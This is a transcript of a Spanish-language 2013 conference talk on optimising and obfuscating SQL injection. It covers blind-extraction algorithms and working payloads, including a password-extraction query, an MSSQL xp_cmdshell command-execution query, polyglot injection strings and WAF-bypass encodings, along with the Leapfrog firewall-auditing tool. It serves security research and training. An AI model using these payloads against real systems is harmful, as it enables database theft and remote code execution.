Nuevas técnicas de optimización y ofuscación [GuadalajaraCON 2013]

Post on 03-Jul-2015

2.274 views 3 download

description

http://www.guadalajaracon.org/conferencias/nuevas-tecnicas-de-optimizacion-y-ofuscacion/ En esta plática se demostrarán las técnicas más nuevas y avanzadas de optimización y ofuscación disponibles en el campo de inyecciones de SQL. Estas técnicas sirven para evadir la detección de firewalls y sistemas de prevención de intrusos y extraer información de la base de datos a una velocidad impresionante. Se demostrarán estas técnicas siendo usadas en firewalls comerciales y open-source y también se presentará la versión ALPHA de Leapfrog. Leapfrog es una herramienta en desarrollo que tiene como funcionalidad ayudar a administradores de IT, expertos en firewalls, profesionales de seguridad y empresas a auditar las reglas de detección e implementación de su firewall y encontrar sus debilidades para poder entender si es una medida defensiva adecuada para detener un verdadero ataque. Muchas de las técnicas que se demostrarán fueron creadas por el presentador y actualmente son de los métodos más rápidos para extraer información de una base de datos a través de una inyección SQL. Se explicará cómo reducir el tiempo que tomar explotar una inyección de SQL por un tercio del tiempo que tomaría normalmente.

Transcript of Nuevas técnicas de optimización y ofuscación [GuadalajaraCON 2013]

‘) UNION SELECT `Esta_Platica` AS (Nuevas

Técnicas de Optimización y Ofuscación’)%00

Roberto Salgado

• Co-fundador de Websec• Proporcionar soluciones de seguridad• Pen-testing, capacitación y monitoreo• Creador del base de conocimientos de SQLi• Pythonista / Investigador de seguridad

Contacto

• rsalgado@websec.mx• http://www.websec.mx • http://www.twitter.com/@LightOS

Indicé

Optimización• Reducir el numero de peticiones • Reducir el tamaño de las peticiones

Ofuscación• Retos de SQLi• Evadir Firewalls• Diversión con codificaciones

Leapfrog• SQLi• LFI• XSS

Exploits de una mama

Como prevenir Inyecciones de SQL?http://www.bobby-tables.com

http://xkcd.com/327/

OPTIMIZACION

• Por que nos importa?

OPTIMIZACIONIntro

http://xkcd.com/85/

Análisis de métodos

• Bisección

• Bitwise

• Regex

• Binario a posición (Bin2Pos)

OPTIMIZACIONInyección de SQL a Ciegas

Recordatorio

• Solo podemos obtener 1 carácter a la vez

• Testeamos si tenemos el carácter correcto con respuestas “True” o “False”

Ejemplo

• SELECT * FROM users WHERE id=1 AND 1=1

• SELECT * FROM users WHERE id=1 AND 1=2

OPTIMIZACIONInyección de SQL a Ciegas

OPTIMIZACIONTabla ASCII

OPTIMIZACIONTabla ASCII

Cada character ASCII puede ser representado con 1 byte o 8 bits

Caracter a

Binario (base 2) 01100001

Octal (base 8) 141

Decimal (base 10) 97

Hexadecimal (base 16) 61

El octavo bit del carácter ASCII que nos interesa siempre será 0

OPTIMIZACIONTabla ASCII

Decimal Hexadecimal Binario

0 00 00000000

127 7F 01111111

255 FF 11111111

El rango ASCII que nos interesa

Decimal Hexadecimal Binario

0 00 00000000

127 7F 01111111

• Algoritmo de búsqueda binaria

• ASCII rango 32 – 126

• Se divide la mitad: (32 + 126) / 2 = 79

• El valor es mayor o menor?

• Se divide la mitad nuevamente y se repite el proceso

OPTIMIZACIONMétodo Bisección

a = 97 decimal

OPTIMIZACIONMétodo Bisección

97 entre 79 y 126 True (32 + 126) / 2 = 79

97 entre 79 y 103 True (79 + 126) / 2 = 102.5

97 entre 79 y 91 False (79 + 103) / 2 = 91

97 entre 91 y 103 True (91 + 103) / 2 = 97

97 entre 91 y 97 True (91 + 97) / 2 = 95

97 entre 91 y 95 False (95 + 97) / 2 = 96

97 entre 95 y 97 True 97 != 9697 == 97

• Cada carácter ASCII puede ser representado en 1 byte o 8 bits

• El octavo bit del rango ASCII de los caracteres que nos interesa siempre es 0

• El numero de peticiones siempre será 7

OPTIMIZACIONMétodos Bitwise

OPTIMIZACIONMétodos Bitwise

01100001 >> 7 00000000 0

01100001 >> 6 00000001 1

01100001 >> 5 00000011 3

01100001 >> 4 00000110 6

01100001 >> 3 00001100 12

01100001 >> 2 00011000 24

01100001 >> 1 00110000 48

01100001 >> 0 01100001 97

"Faster Blind MySQL Injection Using Bit Shifting" -Por Jelmer de Hen

OPTIMIZACIONMétodos Bitwise

a = 97 dec = 01100001

(97 >> 7) = 0 1 o 0 1

(97 >> 6) = 0 1 o 0 0

(97 >> 5) = 2 010 o 011 0

(97 >> 4) = 6 0110 o 0111 1

"Faster Blind MySQL Injection Using Bit Shifting" -Por Jelmer de Hen

OPTIMIZACIONMétodos Bitwise

"Faster Blind MySQL Injection Using Bit Shifting" -Por Jelmer de Hen

Pros:• La cantidad de peticiones es consistente

Contras:• Siempre usa 7 peticiones• Implementacion rara• No soporta hilos

OPTIMIZACIONMétodos Bitwise

a = 97 dec = 01100001

substr(bin(97>>7),-1,1) 1 o 0 0

substr(bin(97>>6),-1,1) 1 o 0 1

substr(bin(97>>5),-1,1) 1 o 0 1

substr(bin(97>>4),-1,1) 1 o 0 0

"Faster Blind MySQL Injection Using Bit Shifting" –Mi variacion

OPTIMIZACIONMétodos Bitwise

"Faster Blind MySQL Injection Using Bit Shifting" –Mi variacion

Pros:• La cantidad de peticiones es consistente• Hilos

Contras:• Siempre usa 7 peticiones

OPTIMIZACIONMétodos Bitwise

a = 97 dec = 01100001

97 & 1 00000001

97 & 2 00000010

97 & 4 00000100

97 & 8 00001000

"Bit ANDing" - Por Ruben Ventura

OPTIMIZACIONMétodos Bitwise

a = 97 dec = 01100001

97 & 1 00000001 1

97 & 2 00000010

97 & 4 00000100

97 & 8 00001000

"Bit ANDing" - Por Ruben Ventura

OPTIMIZACIONMétodos Bitwise

a = 97 dec = 01100001

97 & 1 00000001 1

97 & 2 00000010 0

97 & 4 00000100

97 & 8 00001000

"Bit ANDing" - Por Ruben Ventura

OPTIMIZACIONMétodos Bitwise

a = 97 dec = 01100001

97 & 1 00000001 1

97 & 2 00000010 0

97 & 4 00000100 0

97 & 8 00001000

"Bit ANDing" - Por Ruben Ventura

OPTIMIZACIONMétodos Bitwise

a = 97 dec = 01100001

97 & 1 00000001 1

97 & 2 00000010 0

97 & 4 00000100 0

97 & 8 00001000 0

"Bit ANDing" - Por Ruben Ventura

"Bit ANDing" - Por Ruben Ventura

OPTIMIZACIONMétodos Bitwise

Pros:• La cantidad de peticiones es consistente• Hilos

Contras:• Siempre usa 7 peticiones

OPTIMIZACIONMétodos Bitwise

a = 97 dec = 01100001

substr(bin(97),1,1) 1100001 1

substr(bin(97),2,1) 1100001 1

substr(bin(97),3,1) 1100001 0

substr(bin(97),4,1) 1100001 0

"Bit Substringing" - Por Keith Makan

"Bit Substringing" - Por Keith Makan

OPTIMIZACIONMétodos Bitwise

Pros:• La cantidad de peticiones es consistente• Hilos

Contras:• Siempre usa 7 peticiones

‚Regex method‛ - Por Simone 'R00T_ATI' Quatrini y Marco 'white_sheep' Rondini

OPTIMIZACIONMétodo Regex

REGEXP '^[a-z]' True

REGEXP '^[a-n]' True

REGEXP '^[a-g]' False

REGEXP '^[h-n]' True

REGEXP '^[h-l]' False

‚Regex method‛ - Por Simone 'R00T_ATI' Quatrini y Marco 'white_sheep' Rondini

OPTIMIZACIONMétodo Regex

Pros:• No se tiene que convertir a decimal

Contras:• Requiere comillas

• Requiere una lista de los caracteres posibles (32 – 126 decimal)

• Entre mas cerca este el carácter al inicio de la lista, menos cantidad de peticiones son requeridas

• Podemos ordenar la lista de caracteres por las letras mas frecuentes del idioma

OPTIMIZACIONMétodo Bin2Pos

• Relacionar el carácter con su posición en la lista

• Convertir esta posición a binario

• Hemos reducido la cantidad de caracteres a buscar a 2 (0 y 1)

OPTIMIZACIONMétodo Bin2Pos

• Nuestra lista (sin mayúsculas) – abcdefghijklmnopqrstuvwxyz_0123456789,.<>/?;:\'"[{]}\|=+-)(*&^%$#@!`~

• Lista hexadecimal– 0123456789ABCDEF

• La lista mas grande tiene 94 caracteres– BIN(1) = 1

– BIN(94) = 1011110

OPTIMIZACIONMétodo Bin2Pos

OPTIMIZACIONMétodo Bin2Pos

IF((@a:=MID(BIN(POSITION(MID((SE

LECT password from users where

id=2 LIMIT 1),1,1)IN

CHAR(48,49,50,51,52,53,54,55,56,

57,65,66,67,68,69,70))),1,1))!=s

pace(0),2-@a,0/0)

OPTIMIZACIONMétodo Bin2Pos

• a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,

t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9,_,!,

@,#,$,%,^,&,*,(,),-

,+,=,\,,.,",\',~,`,\\,|,{,},[,],:,;, ,

OPTIMIZACIONMétodo Bin2Pos

• “C” es la 3era posición en la lista, que equivale a 11 en binario

• El 11 tiene 6 ceros a su izquierda: 00000011• Nuestra petición empieza con el primer 1• Por lo mismo, el primer numero siempre será 1

OPTIMIZACIONMétodo Bin2Pos

Obteniendo 11

• Sabemos que el primer digito es 1

• No requiere petición

• El segundo digito es 1?

• Si

• El tercer digito es 1?

• No, el tercer digito no existe

• Numero total de peticiones para “C”: 2

OPTIMIZACIONMétodo Bin2Pos

Pros:

• Muy pocas peticiones

• No es fácil de entender

Contras:

• Requieres 2 paginas diferentes

• Entre mas grande la lista, mas peticiones son requeridas

OPTIMIZACIONComparación de Métodos

OPTIMIZACIONComparación de Métodos

DEMO

OPTIMIZANDO CONSULTAS

Obtener todas las bases de datos, tablas y columnas con solo una petición

OPTIMIZANDO CONSULTASMySQL

SELECT (@) FROM

(SELECT(@:=0x00),(SELECT (@)

FROM

(information_schema.columns)

WHERE (table_schema>=@) AND

(@)IN (@:=CONCAT(@,0x0a,' [

',table_schema,' ]

>',table_name,' >

',column_name))))x

OPTIMIZANDO CONSULTASMySQL

Demo

OPTIMIZANDO CONSULTASMySQL - Demo

Una consulta para ejecución de código remota

• Checa si xp_cmdshell esta cargado

• Si esta cargado, checa si esta activo

• Corre el comando 'dir' y guarda el resultado en la tabla TMP_DB

OPTIMIZANDO CONSULTASMSSQL

' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE

TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a

varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE

id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY

(id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE

%23xp_cmdshell (name nvarchar(11), min int, max int,

config_value int, run_value int) INSERT %23xp_cmdshell

EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT

* FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE

TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC

master..xp_cmdshell 'dir' SELECT @a='' SELECT

@a=Replace(@a%2B'<br></font><font

color="black">'%2Bdir,'<dir>','</font><font

color="orange">') FROM %23Data WHERE dir>@a DROP TABLE

%23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP

TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not

found' SELECT @a AS tbl INTO TMP_DB--

OPTIMIZANDO CONSULTASMSSQL

• Las pruebas pueden llegar a ser tedioso

• Inyecciones de SQL pueden usar comillas, comillas dobles o no tener comillas

• 400+ parámetros por modulo?!?!

OPTIMIZANDO CONSULTASMas Consultas de 1 Línea

Mínimo 3 pruebas diferentes por parámetro:

• OR 1=1

• OR '1'='1

• OR “1”=“1

OPTIMIZANDO CONSULTASMas Consultas de 1 Línea

Que tal si los fusionamos?

OPTIMIZANDO CONSULTASMas Consultas de 1 Línea

- OR 1#"OR"'OR''='"="'OR''='

Que tal si los fusionamos?

OPTIMIZANDO CONSULTASMas Consultas de 1 Línea

- OR 1#"OR"'OR''='"="'OR''='

• Sin comillas

Que tal si los fusionamos?

OPTIMIZANDO CONSULTASMas Consultas de 1 Línea

- OR 1#"OR"'OR''='"="'OR''='

• Sin comillas• Doble comillas

Que tal si los fusionamos?

OPTIMIZANDO CONSULTASMas Consultas de 1 Línea

- OR 1#"OR"'OR''='"="'OR''='

• Sin comillas• Doble comillas• Comillas simples

Que tal AND?

OPTIMIZANDO CONSULTASMas Consultas de 1 Línea

- !=0--+"!="'!='

Que tal AND?

OPTIMIZANDO CONSULTASMas Consultas de 1 Línea

- !=0--+"!="'!='

• Sin comillas

Que tal AND?

OPTIMIZANDO CONSULTASMas Consultas de 1 Línea

- !=0--+"!="'!='

• Sin comillas• Doble comillas

Que tal AND?

OPTIMIZANDO CONSULTASMas Consultas de 1 Línea

- !=0--+"!="'!='

• Sin comillas• Doble comillas• Comillas simples

OFUSCACION

OFUSCACIONQue es?

OFUSCACIONQue es?

OFUSCACIONComo Confundir al Admin

UNION select@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO $ fRom(SeLEct@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO frOM`information_schema`.`triggers`)0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO WHere !FAlSE||tRue&&FalSe||FalsE&&TrUE like

TruE||FalSEunion/*!98765select@000OO0O0OooOoO0OOoooOOoOooo0o0o:=grOup_cONcaT(`username`)``from(users)whErE(username)like'a

dmin'limit 1*/select@000OO0O0OooOoO0OOoooO0oOooo0o0o limit 1,0 UnIONSeleCt(selEct(sELecT/*!67890sELect@000OO0O0O0oOoO0OOoooOOoOooo0o0o:=group_concat(`table_name`)FrOM

information_schema.statistics WhERE TABLe_SCHEmAIn(database())*//*!@000OO0O0OooOoO0OOoooO0oOooo0o0o:=gROup_conCat(/*!taBLe_naME)*/fRoM

information_schema.partitions where TABLe_SCHEma not in(concat((select insert(insert((select(collation_name)from(information_schema.collations)where(id)=true+true),true,floor(pi()),trim(version()from(@@version))),floor(pi(

)),ceil(pi()*pi()),space(0))), conv((125364/(true-!true))-42351, ceil(pi()*pi()),floor(pow(pi(),pi()))),mid(aes_decrypt(aes_encrypt(0x6175746F6D6174696F6E,0x4C696768744F53),0x4C696768744F5

3)FROM floor(version()) FOR ceil(version())),rpad(reverse(lpad(collation(user()),ceil(pi())--@@log_bin,0x00)),! !true,0x00),CHAR((ceil(pi())+!false)*ceil((pi()+ceil(pi()))*pi()),(ceil(pi()*pi())*ceil(pi()*pi()))--cos(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))--

ceil(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))-cos(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))--floor(pi()*pi()),(ceil(pi()*pi())*ceil(pi()*pi()))-floor(pi()))),0x6d7973716c))from(select--

(select~0x7))0o0oOOO0Oo0OOooOooOoO00Oooo0o0oO)from(select@/*!/*!$*/from(select+3.``)000oOOO0Oo0OOooOooOoO00Oooo0o0oO)0o0oOOO0Oo0OOooOooOoO00Oooo0o0oO/*!76799sElect@000OO0O0OooOoO00Oooo0OoOooo0o0o:=group_concat(

`user`)``from`mysql.user`WHeRe(user)=0x726f6f74*/#(SeLECT@ uNioN sElEcT AlL group_concat(cOLumN_nAME,1,1)FroMInFoRMaTioN_ScHemA.COLUMNS where taBle_scHema not in(0x696e666f726d6174696f6e5f736368656d61,0x6d7973716c)UNION

SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO UNION SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO UNION SELECT@000OO0O0OooOoO0OOoooO0oOooo0o0oOO UNION SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO)

EVADIENDO FIREWALLS

EVADIENDO FIREWALLSTips Generales

• Simple casi siempre es mejor

• Lea la documentación para el comportamiento inesperado y rarezas

• Aprende de que es capaz el sistema de base de datos y lo que puede manejar

OFUSCACIONFuzzer Sencillo en PHP

<?php

$link = mysql_connect('localhost', 'root', '');

for($i=0; $i<=255; $i++) {

$query = mysql_query("SELECT 1 FROM dual WHERE

1" . chr($i) . "=1");

if(!$query) {

continue;

}

echo $i . ':0x' . dechex($i) . ':' . chr($i) .

'<br>';

}

?>

OFUSCACIONFuzzer Sencillo en PHP

OFUSCACIONEspacios Validos

SQLite3- 0A, 0D, 0C, 09, 20

MySQL- 09, 0A, 0B, 0C, 0D, A0, 20

MSSQL- 01, 02, 03, 04, 05, 06, 07, 08, 09,

0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12,

13, 14, 15, 16, 17, 18, 19, 1A, 1B,

1C, 1D, 1E, 1F, 20, 25

EVADIENDO FIREWALLSTips Generales

• No empieces con algo complicado y obvio

• Mejor mantenlo simple

– CASE WHEN TRUE THEN TRUE END

- UNION SELECT GROUP_CONCAT(TABLE_NAME)

FROM INFORMATION_SCHEMA.TABLES

EVADIENDO FIREWALLSTips Generales

• No empieces con algo complicado y obvio

• Mejor mantenlo simple

– CASE WHEN TRUE THEN TRUE ELSE 1 END

- UNION SELECT GROUP_CONCAT(TABLE_NAME)

FROM INFORMATION_SCHEMA.TABLES

EVADIENDO FIREWALLSTips Generales

• No empieces con algo complicado y obvio

• Mejor mantenlo simple

– CASE WHEN (SELECT TRUE) THEN TRUE ELSE 1

END

- UNION SELECT GROUP_CONCAT(TABLE_NAME)

FROM INFORMATION_SCHEMA.TABLES

EVADIENDO FIREWALLSTips Generales

• No empieces con algo complicado y obvio

• Mejor mantenlo simple

– CASE WHEN (SELECT TRUE FROM dual) THEN

TRUE ELSE 1 END

- UNION SELECT GROUP_CONCAT(TABLE_NAME)

FROM INFORMATION_SCHEMA.TABLES

EVADIENDO FIREWALLSTips Generales

• No empieces con algo complicado y obvio

• Mejor mantenlo simple

– CASE WHEN (SELECT TRUE FROM dual) THEN

TRUE ELSE 1 END

- UNION SELECT GROUP_CONCAT(TABLE_NAME)

FROM INFORMATION_SCHEMA.TABLES

EVADIENDO FIREWALLSTips Generales

• No empieces con algo complicado y obvio

• Mejor mantenlo simple

– CASE WHEN (SELECT TRUE FROM`dual`) THEN

TRUE ELSE 1 END

- UNION SELECT GROUP_CONCAT(TABLE_NAME)

FROM INFORMATION_SCHEMA.TABLES

EVADIENDO FIREWALLSTips Generales

• No empieces con algo complicado y obvio

• Mejor mantenlo simple

– CASE WHEN (SELECT(TRUE)FROM`dual`) THEN

TRUE ELSE 1 END

- UNION SELECT GROUP_CONCAT(TABLE_NAME)

FROM INFORMATION_SCHEMA.TABLES

EVADIENDO FIREWALLSRetos de SQLi

Modsecurity

http://www.modsecurity.org/testphp.vulnweb.com/artists.php?artist=-2%20div%201%20union%20all%23in%0A%23between%20comments%0A23in%0A%23between%20comments%0A%0Aselect%200x00,%200x41%20like/*!31337table_name*/,3%20from%20information_schema.tables%20limit%201

EVADIENDO FIREWALLSCodificaciones

• URL encode• Double URL encode• Unicode encode• Short UTF8• Long UTF8• First Nibble• Second Nibble• Double Nibble• Invalid Hex

EVADIENDO FIREWALLS – CodificacionesURL Encode

• URL Encoding se usa para transformarcaracteres “especiales” para que se puedanmandar por HTTP

• Los caracteres son transformados en suequivalente hexadecimal, con el % (signode porcentaje) de prefijo

• a = %61

EVADIENDO FIREWALLS – CodificacionesDouble URL Encode

• Double URL encode es el proceso de re-codificar el % (signo de porcentaje)

• a = %61

• %61 = %2561

EVADIENDO FIREWALLS – CodificacionesURL Encode / Firewalls Debiles

Descripcion del tamper script “charencode” de SQLMAP que se usa para codificar la peticion como URL encode:

“Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset”

EVADIENDO FIREWALLS – CodificacionesURL Encode / Firewalls Debiles

Demo

EVADIENDO FIREWALLS – CodificacionesNibble

• Un nibble son 4 bits

• Un nibble representa medio caracterhexadecimal (2^4 = 16)

• Dos nibbles o un octet, representa un caracter hexadecimal

EVADIENDO FIREWALLS – CodificacionesNibble

Hex Decimal Octal Binary

0 0 0 0000

1 1 1 0001

2 2 2 0010

3 3 3 0011

4 4 4 0100

5 5 5 0101

6 6 6 0110

7 7 7 0111

8 8 10 1000

9 9 11 1001

A 10 12 1010

B 11 13 1011

C 12 14 1100

D 13 15 1101

E 14 16 1110

F 15 17 1111

EVADIENDO FIREWALLS – CodificacionesFirst Nibble

• Los primeros 4 bits son URL encoded

• “a” = %61

• 6 = %36

• %%361

EVADIENDO FIREWALLS – Codificaciones Second Nibble

• Los segundos 4 bits son URL encoded

• “a” = %61

• 1 = %31

• %6%31

EVADIENDO FIREWALLS – CodificacionesDouble Nibble

• Es una combinacion de “first nibble” + “second nibble” encoding

• “a” = %61

• 6 = 36

• 1 = %31

• %%36%31

EVADIENDO FIREWALLS – Codificaciones Hex Invalido

• Se trata de crear hex invalido que resulta en el mismo valor decimal que hex valido

• “a” = %61

• %61 = 6 * 16 + 1 = 97

• %2Ú = 2 * 16 + 65 = 97

• %2Ú es lo mismo que %61

EVADIENDO FIREWALLS – Codificaciones Invalid Hex

Decimal Hex Valido Hex Invalido

10 0A 0A

11 0B 0B

12 0C 0C

13 0D 0D

14 0E 0E

15 0F 0F

16 10 0G

17 11 0H

RAREZAS DE PHP

RAREZAS DE PHPEspacios

<?php

if(preg_match("/^.+$/", $_GET["t"])) {

Bloque peticion maliciosa...

}

?>

?t=1 AND 1=1 BLOQUEADO

?t=1 AND 1=1%20

?t=1 AND 1=1%A0

?t=1 AND 1=1%0D,%0C,%0B

?t=1 AND 1=1%0A%20

BLOQUEADO

BLOQUEADO

BLOQUEADO

PERMITIDO

RAREZAS DE PHPEspacios

<?php

if(preg_match("/\s+/", $_GET["t"])) {

Bloque peticion maliciosa...

}

?>

• En algunas configuraciones el NBSP esdetectado como un espacio, en otrasconfiguraciones no lo es

LEAPFROG

• Una herramienta diseñada para mejorar las reglas del Firewall

• Busca bypases para diferentes ataques web (SQLi, XSS, LFI, Filtros de contenido)

• Crea todo sus vectores dinámicamente

• Proporciona recomendaciones al encontrar un bypass

• Genera una calificación basada en la cantidad de vectores permitidos

LEAPFROGQue es?

• WAF Acceptance Factor es la calificación que genera basado en los vectores permitidos

LEAPFROGWAF Acceptance Factor

• Wife Acceptance Factor tomado de:http://en.wikipedia.org/wiki/Wife_acceptance_factor

LEAPFROGWife Acceptance Factor

EL FIN

@LightOS

rsalgado@websec.mx

http://www.websec.mx

El FINInformacion de Contacto

www.WEBSEC.mx